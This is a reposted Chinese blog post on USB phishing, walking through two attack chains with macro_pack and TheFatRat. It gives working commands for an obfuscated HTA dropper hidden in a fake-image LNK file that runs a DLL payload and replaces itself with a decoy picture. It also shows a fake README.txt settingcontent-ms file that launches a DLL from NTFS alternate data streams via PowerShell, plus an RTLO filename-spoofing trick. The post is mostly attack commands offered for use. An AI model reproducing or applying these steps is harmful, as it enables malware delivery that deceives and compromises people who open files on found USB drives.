USB 钓鱼的几种方式

Andrew 2020-10-12
专栏 - 观点观察 发布于 2020-10-12 16:29:52 阅读 165 评论 0

1 引诱目标点开美图

当目标点开美图(恶意LNK快捷方式文件:confidential.jpg.lnk),使目标认为他正在打开图像(confidential.jpg),HTA dropper 隐藏在快捷方式文件中。LNK将执行HTA,HTA将依次执行并删除的DLL payload,并且用诱饵图片替换快捷方式(confidential.jpg)。过程如下:

利用过程如下:

1.MSF生成dll payload,这里用TheFatRat快速生成:

2.用macro_pack生成一个经过混淆的HTA payload,他将会执行并删除dll

echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=dll_payload.dll --obfuscate -G payload.hta

EMBED_DLL模板将创建一个VB代码,该代码将加载并删除“-embed”指定的文件,并用rundll32加载;-G是指生成hta文件

3.同样用macro_pack生成另外一个经过混淆的HTA payload,他将完成替换删除.lnk的功能。当我们将其放置于恶意LNK在同一文件夹下。运行后将替换.lnk,释放“美图”

echo "wuyifan.jpg" | macro_pack.exe -t EMBED_EXE --embed=wuyifan.jpg -o -G pic.hta

如果你此时双击pic.hta,会生成wuyifan.jpg,但是此时pic.hta没有自删除

4.整合上述的两步形成一个自删除的HTA文件:打开pic.hta将AutoOpen函数名修改为AutoOpen2

删除payload.hta的vb代码的后两行(AutoOpen和Close),将pic.hta中的vb代码(除了最后两行AutoOpen和Close)复制到payload.hta的vb脚本末尾,后并添加以下代码:

AutoOpen2

现在运行payload.hta将运行dll,生成wuyifan.jpg并自删除

5.将payload.hta嵌入到.lnk文件中,我们希望它能用mshta.exe来解析从而触发payload,如运行一下命令:

%windir%\system32\cmd.exe /c start "" "mshta" "%CD%\confidential.jpg.lnk"

当payload构成放在USB中,我们需要知道当前路径,%cd%将提供当前的路径名称

使用macro_pack生成lnk,这里U盘的盘符为”F:”,运行一下命令生成lnk:

macro_pack.exe -G G:\confidential.jpg.lnk

这里主要是为了保证lnk的图标为JPG图像的图标,和imageres.dll中67位索引相对应

6.将.lnk和payload.hta合并到一起就OK了,运行:

copy /b F:\wuyifan.jpg.lnk+payload.hta F:\wuyifan.jpg.lnk

说明:

当在USB中双击wuyifan.jpg.lnk,会触发payload,加载DLL并隐藏到%TEMP%\Document1.asd中,加载payload的方式为:

CreateObject("WScript.Shell").Run "%windir%\system32\rundll32.exe %temp%\Document1.asd,<<<DLL_FUNCTION>>>", 0

在任务管理器中会发现图片正使用taskmgr或者Sysinternals procexp运行,并且lnk文件被真实的图片替换,实例中USB文件运行的命令容易被杀软识别出来

2 针对”README.txt”文件

当目标打开README.txt时,实际上运行的是恶意的settingcontent-ms文件,文件结构准遵循XML模式,不能像上述方法与hta文件组合。我们将使用NTFS备用数据流来隐藏和运行dll payload

此settingcontent-ms文件将执行隐藏在备份数据流(README.txt.settingcontent-ms:R)中的DLL,并将以记事本运行存储在另一个ADS中的诱饵文本(README.txt.settingcontent-ms:T.txt),相比第一种方式它没有想.lnk或者.uri那样的快捷箭头

利用过程如下:

1.构建诱饵文本文件,当目标打开时显示文本

echo "Hello World!" > Text.txt

2. 构建恶意设置的快捷方式文件。使用macro_pack生成settingcontent-ms文件,例如要生成一个README.txt文档,该文档的启动运行calc.exe

echo 'C:\windows\system32\cmd.exe /c calc.exe' '.' |  macro_pack.exe -G README.txt.settingcontent-ms 

但是我们真正要启动的是隐藏在NTFS文件系统备份数据流中的DLL payload和诱饵文件。这里有个问题是setcontent-ms文件默认在“C:\Windows\System32”中打开,这样我们必须知道USB的盘符,为此使用Powershell的脚本如下:

%windir%\system32\cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$drive\README.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$drive\README.txt.settingcontent-ms:R"

上述命令将调用wmi将盘符赋值给$drive变量;启动记事本打开诱惑文档README.txt.settingcontent-ms:T.txt;启动control.exe打开README.txt.settingcontent-ms:R中的DLL payload,其中DLL也可以同rundll32加载。将上述命令替换刚才生成calc命令,最终的README.txt.settingcontent-ms文件如下:

3. 创建备用数据流。去报USB已经使用NTFS文件系统格式化,当前USB的盘符为“F:”,创建ADS,README.txt.settingcontent-ms:R 包含DLL:

type dll_payload.dll > F:\README.txt.settingcontent-ms:R

READNE.txt.settingcontent-ms:T.txt 包含诱饵文本:

type Text.txt > F:\README.txt.settingcontent-ms:T.txt

使用streams命令可以检查创建的ADS流

PS:使用macro_pack生成RTLO翻转运行calc的hta文件,运行:

echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg

生成的文件名为calcath.jpg,实际上是calc[rtlo]gpj.hta,此方法也适用于其他操作系统,但是打开运行的程序可能不同

原创:物联网IOT安全
原文链接:https://mp.weixin.qq.com/s/UAt7iF8KAcTFZjT...

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!